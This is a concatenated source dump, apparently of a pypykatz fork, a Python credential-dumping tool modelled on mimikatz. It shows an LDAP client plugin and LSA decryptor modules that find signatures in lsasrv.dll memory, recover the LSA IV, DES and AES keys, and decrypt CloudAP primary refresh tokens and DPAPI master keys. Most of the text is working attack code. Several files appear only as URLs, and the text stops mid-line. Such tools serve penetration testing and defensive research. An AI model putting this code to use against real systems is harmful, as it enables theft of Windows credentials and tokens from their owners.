help='Verbosity, can be stacked') 40 | ldap_client_group.add_argument('url', help="LDAP connection string") 41 | ldap_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") 42 | 43 | 44 | live_subcommand_parser = argparse.ArgumentParser(add_help=False) 45 | live_ldap_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE LDAP commands work under the current user context.') 46 | live_ldap_subparsers.required = True 47 | live_ldap_subparsers.dest = 'liveldapcommand' 48 | 49 | live_client_parser = live_ldap_subparsers.add_parser('client', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog) 50 | live_client_parser.add_argument('--host', help= 'Specify a custom logon server.') 51 | live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login') 52 | live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked') 53 | live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.") 54 | 55 | live_group = live_parser.add_parser('ldap', help='LDAP (live) commands', parents=[live_subcommand_parser]) 56 | 57 | 58 | def execute(self, args): 59 | if args.command in self.keywords: 60 | self.run(args) 61 | 62 | if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: 63 | self.run_live(args) 64 | 65 | 66 | def run_live(self, args): 67 | from msldap import logger as ldaplogger 68 | from msldap.examples.msldapclient import amain 69 | from winacl.functions.highlevel import get_logon_info 70 | info = get_logon_info() 71 | 72 | logonserver = info['logonserver'] 73 | if args.host is not None: 74 | logonserver = args.host 75 | 76 | ldap_url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver) 77 | 78 | if args.verbose == 0: 79 | ldaplogger.setLevel(100) 80 | elif args.verbose == 1: 81 | print('Using the following auto-generated URL: %s' % ldap_url) 82 | ldaplogger.setLevel(level=logging.INFO) 83 | else: 84 | level = 5 - args.verbose 85 | ldaplogger.setLevel(level=level) 86 | 87 | if args.liveldapcommand == 'client': 88 | la = LDAPCMDArgs() 89 | la.url = ldap_url 90 | la.verbose = args.verbose 91 | 92 | if args.commands is not None and len(args.commands) > 0: 93 | la.commands = [] 94 | if args.commands[0] == 'help': 95 | la.commands = ['help'] 96 | else: 97 | if args.commands[0] != 'login': 98 | la.commands.append('login') 99 | 100 | for command in args.commands: 101 | la.commands.append(command) 102 | 103 | asyncio.run(amain(la)) 104 | 105 | 106 | def run(self, args): 107 | from msldap.examples.msldapclient import amain 108 | 109 | if args.ldap_module == 'client': 110 | la = LDAPCMDArgs() 111 | la.url = args.url 112 | la.verbose = args.verbose 113 | if args.commands is not None and len(args.commands) > 0: 114 | la.commands = [] 115 | if args.commands[0] == 'help': 116 | la.commands = ['help'] 117 | else: 118 | if args.commands[0] != 'login': 119 | la.commands.append('login') 120 | 121 | for command in args.commands: 122 | la.commands.append(command) 123 | 124 | asyncio.run(amain(la)) 125 | -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | from .lsa_templates import * 8 | from .lsa_decryptor import * 9 | from .packages import * -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/lsa_decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | from pypykatz.lsadecryptor.lsa_template_nt5 import LsaTemplate_NT5 7 | from pypykatz.lsadecryptor.lsa_template_nt6 import LsaTemplate_NT6 8 | from pypykatz.lsadecryptor.lsa_decryptor_nt6 import LsaDecryptor_NT6 9 | from pypykatz.lsadecryptor.lsa_decryptor_nt5 import LsaDecryptor_NT5 10 | 11 | class LsaDecryptor: 12 | def __init__(self): 13 | pass 14 | 15 | @staticmethod 16 | def choose(reader, decryptor_template, sysinfo): 17 | if isinstance(decryptor_template, LsaTemplate_NT5): 18 | return LsaDecryptor_NT5(reader, decryptor_template, sysinfo) 19 | else: 20 | return LsaDecryptor_NT6(reader, decryptor_template, sysinfo) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/lsa_decryptor_nt6.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | 8 | import traceback 9 | from pypykatz import logger 10 | from pypykatz.commons.common import hexdump 11 | from unicrypto.symmetric import TDES, AES, MODE_CFB, MODE_CBC 12 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor 13 | 14 | class LsaDecryptor_NT6(PackageDecryptor): 15 | def __init__(self, reader, decryptor_template, sysinfo): 16 | super().__init__('LsaDecryptor', None, sysinfo, reader) 17 | self.decryptor_template = decryptor_template 18 | self.iv = None 19 | self.aes_key = None 20 | self.des_key = None 21 | 22 | self.acquire_crypto_material() 23 | 24 | def acquire_crypto_material(self): 25 | self.log('Acquireing crypto stuff...') 26 | sigpos = self.find_signature() 27 | self.reader.move(sigpos) 28 | data = self.reader.peek(0x50) 29 | self.log('Memory looks like this around the signature\n%s' % hexdump(data, start = sigpos)) 30 | self.iv = self.get_IV(sigpos) 31 | self.des_key = self.get_des_key(sigpos) 32 | self.aes_key = self.get_aes_key(sigpos) 33 | 34 | def get_des_key(self, pos): 35 | self.log('Acquireing DES key...') 36 | return self.get_key(pos, self.decryptor_template.key_pattern.offset_to_DES_key_ptr) 37 | 38 | def get_aes_key(self, pos): 39 | self.log('Acquireing AES key...') 40 | return self.get_key(pos, self.decryptor_template.key_pattern.offset_to_AES_key_ptr) 41 | 42 | def find_signature(self): 43 | self.log('Looking for main struct signature in memory...') 44 | fl = self.reader.find_in_module('lsasrv.dll', self.decryptor_template.key_pattern.signature, find_first = True) 45 | if len(fl) == 0: 46 | logger.debug('signature not found! %s' % self.decryptor_template.key_pattern.signature.hex()) 47 | raise Exception('LSA signature not found!') 48 | 49 | self.log('Found candidates on the following positions: %s' % ' '.join(hex(x) for x in fl)) 50 | self.log('Selecting first one @ 0x%08x' % fl[0]) 51 | return fl[0] 52 | 53 | def get_IV(self, pos): 54 | self.log('Reading IV') 55 | 56 | #### TEST!!!! 57 | #if hasattr(self.sysinfo, 'IV_OFFSET'): 58 | # ptr_iv = self.reader.get_ptr_with_offset(pos + self.sysinfo.IV_OFFSET) 59 | # self.reader.move(ptr_iv) 60 | # data = self.reader.read(self.decryptor_template.key_pattern.IV_length) 61 | # self.log('IV data: %s' % hexdump(data)) 62 | # return data 63 | 64 | ptr_iv = self.reader.get_ptr_with_offset(pos + self.decryptor_template.key_pattern.offset_to_IV_ptr) 65 | #self.log('IV pointer takes us to 0x%08x' % ptr_iv) 66 | self.reader.move(ptr_iv) 67 | data = self.reader.read(self.decryptor_template.key_pattern.IV_length) 68 | self.log('IV data: %s' % hexdump(data)) 69 | return data 70 | 71 | def get_key(self, pos, key_offset): 72 | ptr_key = self.reader.get_ptr_with_offset(pos + key_offset) 73 | self.log('key handle pointer is @ 0x%08x' % ptr_key) 74 | ptr_key = self.reader.get_ptr(ptr_key) 75 | self.log('key handle is @ 0x%08x' % ptr_key) 76 | self.reader.move(ptr_key) 77 | data = self.reader.peek(0x50) 78 | self.log('BCRYPT_HANLE_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) 79 | kbhk = self.decryptor_template.key_handle_struct(self.reader) 80 | if kbhk.verify(): 81 | ptr_key = kbhk.ptr_key.value 82 | self.reader.move(ptr_key) 83 | data = self.reader.peek(0x50) 84 | self.log('BCRYPT_KEY_DATA\n%s' % hexdump(data, start = ptr_key)) 85 | kbk = kbhk.ptr_key.read(self.reader, self.decryptor_template.key_struct) 86 | self.log('HARD_KEY SIZE: 0x%x' % kbk.size) 87 | if kbk.verify(): 88 | self.log('HARD_KEY data:\n%s' % hexdump(kbk.hardkey.data)) 89 | return kbk.hardkey.data 90 | 91 | def decrypt(self, encrypted): 92 | # TODO: NT version specific, move from here in subclasses. 93 | cleartext = b'' 94 | size = len(encrypted) 95 | if size: 96 | if size % 8: 97 | if not self.aes_key or not self.iv: 98 | return cleartext 99 | cipher = AES(self.aes_key, MODE_CFB, IV = self.iv, segment_size=128) 100 | cleartext = cipher.decrypt(encrypted) 101 | else: 102 | if not self.des_key or not self.iv: 103 | return cleartext 104 | cipher = TDES(self.des_key, MODE_CBC, self.iv[:8]) 105 | cleartext = cipher.decrypt(encrypted) 106 | return cleartext 107 | 108 | def dump(self): 109 | self.log('Recovered LSA encryption keys\n') 110 | self.log('IV ({}): {}'.format(len(self.iv), self.iv.hex())) 111 | self.log('DES_KEY ({}): {}'.format(len(self.des_key), self.des_key.hex())) 112 | self.log('AES_KEY ({}): {}'.format(len(self.aes_key), self.aes_key.hex())) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/lsa_template_nt5.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | from minidump.win_datatypes import POINTER 8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild 9 | from pypykatz.lsadecryptor.package_commons import PackageTemplate 10 | 11 | class LsaTemplate_NT5(PackageTemplate): 12 | def __init__(self): 13 | self.signature = None 14 | self.feedback = None 15 | self.randomkey_ptr = None 16 | self.DESXKey_ptr = None 17 | self.key_struct = None 18 | 19 | 20 | @staticmethod 21 | def get_template_brute(sysinfo): 22 | raise Exception('Template guessing is not applicable for NT5') 23 | 24 | 25 | @staticmethod 26 | def get_template(sysinfo): 27 | if sysinfo.architecture == KatzSystemArchitecture.X86: 28 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value: 29 | return templates['nt5']['x86']['1'] 30 | else: 31 | raise Exception('NT 6 is in another castle!') 32 | 33 | elif sysinfo.architecture == KatzSystemArchitecture.X64: 34 | if sysinfo.buildnumber <= WindowsMinBuild.WIN_VISTA.value: 35 | return templates['nt5']['x64']['1'] 36 | else: 37 | raise Exception('NT 6 is in another castle!') 38 | 39 | class SYMCRYPT_NT5_DES_EXPANDED_KEY: 40 | def __init__(self, reader): 41 | self.roundKey = [] 42 | for _ in range(16): 43 | r = int.from_bytes(reader.read(4), 'little', signed = False) 44 | l = int.from_bytes(reader.read(4), 'little', signed = False) 45 | self.roundKey.append([r, l]) 46 | 47 | def __str__(self): 48 | t = 'SYMCRYPT_NT5_DES_EXPANDED_KEY\r\n' 49 | for i, x in enumerate(self.roundKey): 50 | t += '%s L: %s R: %s\r\n' % (i, hex(x[0]), hex(x[1])) 51 | return t 52 | 53 | class SYMCRYPT_NT5_DESX_EXPANDED_KEY: 54 | def __init__(self, reader): 55 | self.inputWhitening = reader.read(8) 56 | self.outputWhitening = reader.read(8) 57 | self.desKey = SYMCRYPT_NT5_DES_EXPANDED_KEY(reader) 58 | 59 | def __str__(self): 60 | t = 'SYMCRYPT_NT5_DESX_EXPANDED_KEY\r\n' 61 | t += 'inputWhitening : %s\r\n' % (self.inputWhitening.hex()) 62 | t += 'outputWhitening : %s\r\n' % (self.outputWhitening.hex()) 63 | t += 'desKey : %s\r\n' % (str(self.desKey)) 64 | return t 65 | 66 | class PSYMCRYPT_NT5_DESX_EXPANDED_KEY(POINTER): 67 | def __init__(self, reader): 68 | super().__init__(reader, SYMCRYPT_NT5_DESX_EXPANDED_KEY) 69 | 70 | class LSA_x64_nt5_1(LsaTemplate_NT5): 71 | def __init__(self): 72 | LsaTemplate_NT5.__init__(self) 73 | self.arch = 'x64' 74 | self.signature = b'\x33\xdb\x8b\xc3\x48\x83\xc4\x20\x5b\xc3' 75 | self.nt_major = '5' 76 | self.feedback_ptr_offset = -67 77 | self.randomkey_ptr_offset = -17 78 | self.desx_key_ptr_offset = -35 79 | self.old_feedback_offset = 29 80 | self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY 81 | 82 | class LSA_x86_nt5_1(LsaTemplate_NT5): 83 | def __init__(self): 84 | LsaTemplate_NT5.__init__(self) 85 | self.arch = 'x86' 86 | self.nt_major = '5' 87 | self.signature = b'\x05\x90\x00\x00\x00\x6a\x18\x50\xa3' 88 | self.feedback_ptr_offset = 25 89 | self.randomkey_ptr_offset = 9 90 | self.desx_key_ptr_offset = -4 91 | self.old_feedback_offset = 29 92 | self.key_struct_ptr = PSYMCRYPT_NT5_DESX_EXPANDED_KEY 93 | 94 | 95 | templates = { 96 | 'nt5' : { 97 | 'x86': { 98 | '1' : LSA_x86_nt5_1(), 99 | }, 100 | 'x64': { 101 | '1' : LSA_x64_nt5_1(), 102 | } 103 | } 104 | } -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/lsa_templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | 8 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild 9 | from pypykatz.lsadecryptor.lsa_template_nt5 import LsaTemplate_NT5 10 | from pypykatz.lsadecryptor.lsa_template_nt6 import LsaTemplate_NT6 11 | 12 | class LsaTemplate: 13 | def __init__(self): 14 | pass 15 | 16 | 17 | @staticmethod 18 | def get_template_brute(sysinfo): 19 | if sysinfo.architecture == KatzSystemArchitecture.X86: 20 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 21 | return LsaTemplate_NT5.get_template_brute(sysinfo) 22 | else: 23 | return LsaTemplate_NT6.get_template_brute(sysinfo) 24 | 25 | elif sysinfo.architecture == KatzSystemArchitecture.X64: 26 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 27 | return LsaTemplate_NT5.get_template_brute(sysinfo) 28 | else: 29 | return LsaTemplate_NT6.get_template_brute(sysinfo) 30 | 31 | 32 | @staticmethod 33 | def get_template(sysinfo): 34 | if sysinfo.architecture == KatzSystemArchitecture.X86: 35 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 36 | return LsaTemplate_NT5.get_template(sysinfo) 37 | else: 38 | return LsaTemplate_NT6.get_template(sysinfo) 39 | 40 | elif sysinfo.architecture == KatzSystemArchitecture.X64: 41 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 42 | return LsaTemplate_NT5.get_template(sysinfo) 43 | else: 44 | return LsaTemplate_NT6.get_template(sysinfo) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | from .credman.templates import * 8 | from .dpapi.templates import * 9 | from .dpapi.decryptor import * 10 | from .kerberos.templates import * 11 | from .kerberos.decryptor import * 12 | from .livessp.templates import * 13 | from .livessp.decryptor import * 14 | from .msv.templates import * 15 | from .msv.decryptor import * 16 | from .ssp.templates import * 17 | from .ssp.decryptor import * 18 | from .tspkg.templates import * 19 | from .tspkg.decryptor import * 20 | from .wdigest.templates import * 21 | from .wdigest.decryptor import * 22 | from .cloudap.templates import * 23 | from .cloudap.decryptor import * 24 | 25 | __credman__ = ['CredmanTemplate'] 26 | __dpapi__ = ['DpapiTemplate', 'DpapiDecryptor', 'DpapiCredential'] 27 | __kerberos__ = ['KerberosTemplate','KerberosDecryptor'] 28 | __msv__ = ['MsvTemplate', 'MsvDecryptor', 'MsvCredential'] 29 | __ssp__ = ['SspTemplate', 'SspDecryptor', 'SspCredential'] 30 | __livessp__ = ['LiveSspTemplate', 'LiveSspDecryptor', 'LiveSspCredential'] 31 | __tspkg__ = ['TspkgTemplate', 'TspkgDecryptor', 'TspkgCredential'] 32 | __wdigest__ = ['WdigestTemplate','WdigestDecryptor','WdigestCredential'] 33 | __cloudap__ = ['CloudapTemplate', 'CloudapDecryptor','CloudapCredential'] 34 | 35 | 36 | __all__ = __cloudap__ + __credman__ + __dpapi__ + __kerberos__ + __msv__ + __ssp__ + __livessp__ + __tspkg__ + __wdigest__ -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/cloudap/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/lsadecryptor/packages/cloudap/__init__.py -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/cloudap/decryptor.py: -------------------------------------------------------------------------------- 1 | import json 2 | import hashlib 3 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor 4 | 5 | class CloudapCredential: 6 | def __init__(self): 7 | self.credtype = 'cloudap' 8 | self.luid = None 9 | self.sid = None 10 | self.cachedir = None 11 | self.PRT = None 12 | self.key_guid = None 13 | self.dpapi_key = None 14 | self.dpapi_key_sha1 = None 15 | 16 | def to_dict(self): 17 | t = {} 18 | t['credtype'] = self.credtype 19 | t['cachedir'] = self.cachedir 20 | t['PRT'] = self.PRT 21 | t['key_guid'] = self.key_guid 22 | t['dpapi_key'] = self.dpapi_key 23 | t['dpapi_key_sha1'] = self.dpapi_key_sha1 24 | return t 25 | 26 | def to_json(self): 27 | return json.dumps(self.to_dict()) 28 | 29 | def __str__(self): 30 | t = '\t== Cloudap [%x]==\n' % self.luid 31 | t += '\t\tcachedir %s\n' % self.cachedir 32 | t += '\t\tPRT %s\n' % self.PRT 33 | t += '\t\tkey_guid %s\n' % self.key_guid 34 | t += '\t\tdpapi_key %s\n' % self.dpapi_key 35 | t += '\t\tdpapi_key_sha1 %s\n' % self.dpapi_key_sha1 36 | return t 37 | 38 | class CloudapDecryptor(PackageDecryptor): 39 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 40 | super().__init__('Cloudap', lsa_decryptor, sysinfo, reader) 41 | self.decryptor_template = decryptor_template 42 | self.credentials = [] 43 | 44 | def find_first_entry(self): 45 | position = self.find_signature('cloudAP.dll',self.decryptor_template.signature) 46 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) 47 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) 48 | return ptr_entry, ptr_entry_loc 49 | 50 | def add_entry(self, cloudap_entry): 51 | try: 52 | cred = CloudapCredential() 53 | cred.luid = cloudap_entry.LocallyUniqueIdentifier 54 | 55 | if cloudap_entry.cacheEntry is None or cloudap_entry.cacheEntry.value == 0: 56 | return 57 | cache = cloudap_entry.cacheEntry.read(self.reader) 58 | cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','') 59 | if cache.cbPRT != 0 and cache.PRT.value != 0: 60 | temp, raw_dec = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True) 61 | try: 62 | temp = temp.decode() 63 | except: 64 | pass 65 | 66 | cred.PRT = temp 67 | 68 | if cache.toDetermine != 0: 69 | unk = cache.toDetermine.read(self.reader) 70 | if unk is not None: 71 | cred.key_guid = unk.guid.value 72 | cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk, bytes_expected = True) 73 | cred.dpapi_key_sha1 = hashlib.sha1(cred.dpapi_key).hexdigest() 74 | 75 | if cred.PRT is None and cred.key_guid is None: 76 | return 77 | self.credentials.append(cred) 78 | except Exception as e: 79 | self.log('CloudAP entry parsing error! Reason %s' % e) 80 | 81 | 82 | def start(self): 83 | try: 84 | entry_ptr_value, entry_ptr_loc = self.find_first_entry() 85 | except Exception as e: 86 | self.log('Failed to find structs! Reason: %s' % e) 87 | return 88 | 89 | self.reader.move(entry_ptr_loc) 90 | entry_ptr = self.decryptor_template.list_entry(self.reader) 91 | self.walk_list(entry_ptr, self.add_entry) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/cloudap/templates.py: -------------------------------------------------------------------------------- 1 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild 2 | from pypykatz.commons.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER, DWORD, PVOID, PSID, GUID, DWORD64 3 | from pypykatz.lsadecryptor.package_commons import PackageTemplate 4 | 5 | class CloudapTemplate(PackageTemplate): 6 | def __init__(self): 7 | super().__init__('Cloudap') 8 | self.signature = None 9 | self.first_entry_offset = None 10 | self.list_entry = None 11 | 12 | @staticmethod 13 | def get_template(sysinfo): 14 | template = CloudapTemplate() 15 | if sysinfo.buildnumber <= WindowsBuild.WIN_10_1903.value: 16 | return None 17 | 18 | if sysinfo.architecture == KatzSystemArchitecture.X64: 19 | template.signature = b'\x44\x8b\x01\x44\x39\x42' 20 | template.first_entry_offset = -9 21 | template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY 22 | 23 | elif sysinfo.architecture == KatzSystemArchitecture.X86: 24 | template.signature = b'\x8b\x31\x39\x72\x10\x75' 25 | template.first_entry_offset = -8 26 | template.list_entry = PKIWI_CLOUDAP_LOGON_LIST_ENTRY 27 | 28 | else: 29 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) 30 | 31 | template.log_template('list_entry', template.list_entry) 32 | return template 33 | 34 | class PKIWI_CLOUDAP_CACHE_UNK(POINTER): 35 | def __init__(self, reader): 36 | super().__init__(reader, KIWI_CLOUDAP_CACHE_UNK) 37 | 38 | class KIWI_CLOUDAP_CACHE_UNK: 39 | def __init__(self, reader): 40 | self.unk0 = DWORD(reader) 41 | self.unk1 = DWORD(reader) 42 | self.unk2 = DWORD(reader) 43 | self.unkSize = DWORD(reader).value 44 | self.guid = GUID(reader) 45 | self.unk = reader.read(64) 46 | 47 | 48 | class PKIWI_CLOUDAP_CACHE_LIST_ENTRY(POINTER): 49 | def __init__(self, reader): 50 | super().__init__(reader, KIWI_CLOUDAP_CACHE_LIST_ENTRY) 51 | 52 | class KIWI_CLOUDAP_CACHE_LIST_ENTRY: 53 | def __init__(self, reader): 54 | self.Flink = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) 55 | self.Blink = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) 56 | self.unk0 = DWORD(reader) 57 | reader.align() 58 | self.LockList = PVOID(reader) 59 | self.unk1 = PVOID(reader) 60 | self.unk2 = PVOID(reader) 61 | self.unk3 = PVOID(reader) 62 | self.unk4 = PVOID(reader) 63 | self.unk5 = PVOID(reader) 64 | self.unk6 = DWORD(reader) 65 | self.unk7 = DWORD(reader) 66 | self.unk8 = DWORD(reader) 67 | self.unk9 = DWORD(reader) 68 | self.unkLogin0 = PVOID(reader) #PCWSTR 69 | self.unkLogin1 = PVOID(reader) #PCWSTR 70 | self.toname = reader.read(130) #wchar_t [64 + 1]; 71 | reader.align() 72 | self.Sid = PSID(reader).value 73 | self.unk10 = DWORD(reader) 74 | self.unk11 = DWORD(reader) 75 | self.unk12 = DWORD(reader) 76 | self.unk13 = DWORD(reader) 77 | self.toDetermine = PKIWI_CLOUDAP_CACHE_UNK(reader) 78 | self.unk14 = PVOID(reader) 79 | self.cbPRT = DWORD(reader).value 80 | reader.align() 81 | self.PRT = PVOID(reader) #PBYTE(reader) 82 | 83 | class PKIWI_CLOUDAP_LOGON_LIST_ENTRY(POINTER): 84 | def __init__(self, reader): 85 | super().__init__(reader, KIWI_CLOUDAP_LOGON_LIST_ENTRY) 86 | 87 | class KIWI_CLOUDAP_LOGON_LIST_ENTRY: 88 | def __init__(self, reader): 89 | self.Flink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY(reader) 90 | self.Blink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY(reader) 91 | self.unk0 = DWORD(reader) 92 | self.unk1 = DWORD(reader) 93 | self.LocallyUniqueIdentifier = LUID(reader).value 94 | self.unk2 = DWORD64(reader) 95 | self.unk3 = DWORD64(reader) 96 | self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) 97 | 98 | 99 | #### THIS IS FOR TESTING!!! 100 | class PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(POINTER): 101 | def __init__(self, reader): 102 | super().__init__(reader, KIWI_CLOUDAP_LOGON_LIST_ENTRY_11) 103 | 104 | class KIWI_CLOUDAP_LOGON_LIST_ENTRY_11: 105 | def __init__(self, reader): 106 | self.Flink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(reader) 107 | self.Blink = PKIWI_CLOUDAP_LOGON_LIST_ENTRY_11(reader) 108 | self.LocallyUniqueIdentifier = 1 109 | reader.read(8*11) 110 | #self.unk0 = DWORD(reader) 111 | #self.unk1 = DWORD(reader) 112 | #self.unk2 = DWORD(reader) 113 | #reader.align() 114 | #self.LocallyUniqueIdentifier = LUID(reader).value 115 | #self.unk3 = DWORD64(reader) 116 | #self.unk4 = DWORD64(reader) 117 | #self.unk5 = DWORD64(reader) 118 | #self.unk6 = DWORD64(reader) 119 | self.cacheEntry = PKIWI_CLOUDAP_CACHE_LIST_ENTRY(reader) 120 | -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/credman/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/lsadecryptor/packages/credman/__init__.py -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/dpapi/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ly4k/Pypykatz/c4e9ddc1299060ea5ececa64d03a08059fc45d34/pypykatz/lsadecryptor/packages/dpapi/__init__.py -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/dpapi/decryptor.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | import io 7 | import json 8 | import hashlib 9 | from pypykatz.lsadecryptor.package_commons import PackageDecryptor 10 | 11 | class DpapiCredential: 12 | def __init__(self): 13 | self.credtype = 'dpapi' 14 | self.luid = None 15 | self.key_guid = None 16 | self.masterkey = None 17 | self.sha1_masterkey = None 18 | 19 | def to_dict(self): 20 | t = {} 21 | t['credtype'] = self.credtype 22 | t['key_guid'] = self.key_guid 23 | t['masterkey'] = self.masterkey 24 | t['sha1_masterkey'] = self.sha1_masterkey 25 | t['luid'] = self.luid 26 | return t 27 | 28 | def to_json(self): 29 | return json.dumps(self.to_dict()) 30 | 31 | def __str__(self): 32 | t = '\t== DPAPI [%x]==\n' % self.luid 33 | t += '\t\tluid %s\n' % self.luid 34 | t += '\t\tkey_guid %s\n' % self.key_guid 35 | t += '\t\tmasterkey %s\n' % self.masterkey 36 | t += '\t\tsha1_masterkey %s\n' % self.sha1_masterkey 37 | return t 38 | 39 | class DpapiDecryptor(PackageDecryptor): 40 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): 41 | super().__init__('Dpapi', lsa_decryptor, sysinfo, reader) 42 | self.decryptor_template = decryptor_template 43 | self.credentials = [] 44 | 45 | 46 | def find_first_entry(self, modulename): 47 | position = self.find_signature(modulename,self.decryptor_template.signature) 48 | ptr_entry_loc = self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) 49 | ptr_entry = self.reader.get_ptr(ptr_entry_loc) 50 | return ptr_entry, ptr_entry_loc 51 | 52 | def add_entry(self, dpapi_entry): 53 | if dpapi_entry.key is None: 54 | return 55 | 56 | if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0: 57 | dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True) 58 | sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest() 59 | 60 | c = DpapiCredential() 61 | c.luid = dpapi_entry.LogonId 62 | c.key_guid = dpapi_entry.KeyUid 63 | c.masterkey = dec_masterkey.hex() 64 | c.sha1_masterkey = sha_masterkey 65 | self.credentials.append(c) 66 | 67 | def start(self): 68 | for modulename in ['lsasrv.dll','dpapisrv.dll']: 69 | try: 70 | entry_ptr_value, entry_ptr_loc = self.find_first_entry(modulename) 71 | except Exception as e: 72 | self.log('Failed to find structs! Reason: %s' % e) 73 | continue 74 | self.reader.move(entry_ptr_loc) 75 | entry_ptr = self.decryptor_template.list_entry(self.reader) 76 | self.walk_list(entry_ptr, self.add_entry) -------------------------------------------------------------------------------- /pypykatz/lsadecryptor/packages/dpapi/templates.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # 3 | # Author: 4 | # Tamas Jos (@skelsec) 5 | # 6 | 7 | 8 | from minidump.win_datatypes import FILETIME, ULONG 9 | from pypykatz.commons.common import WindowsMinBuild, KatzSystemArchitecture, WindowsBuild 10 | from pypykatz.commons.win_datatypes import LUID, GUID, POINTER 11 | from pypykatz.lsadecryptor.package_commons import PackageTemplate 12 | 13 | class DpapiTemplate(PackageTemplate): 14 | def __init__(self): 15 | super().__init__('Dpapi') 16 | self.signature = None 17 | self.first_entry_offset = None 18 | self.list_entry = None 19 | 20 | @staticmethod 21 | def get_template(sysinfo): 22 | template = DpapiTemplate() 23 | template.list_entry = PKIWI_MASTERKEY_CACHE_ENTRY 24 | template.log_template('list_entry', template.list_entry) 25 | 26 | if sysinfo.architecture == KatzSystemArchitecture.X64: 27 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: 28 | template.signature = b'\x4d\x3b\xee\x49\x8b\xfd\x0f\x85' 29 | template.first_entry_offset = -4 30 | 31 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsMinBuild.WIN_7.value: 32 | template.signature = b'\x49\x3b\xef\x48\x8b\xfd\x0f\x84' 33 | template.first_entry_offset = -4 34 | 35 | elif WindowsMinBuild.WIN_7.value <= sysinfo.buildnumber < 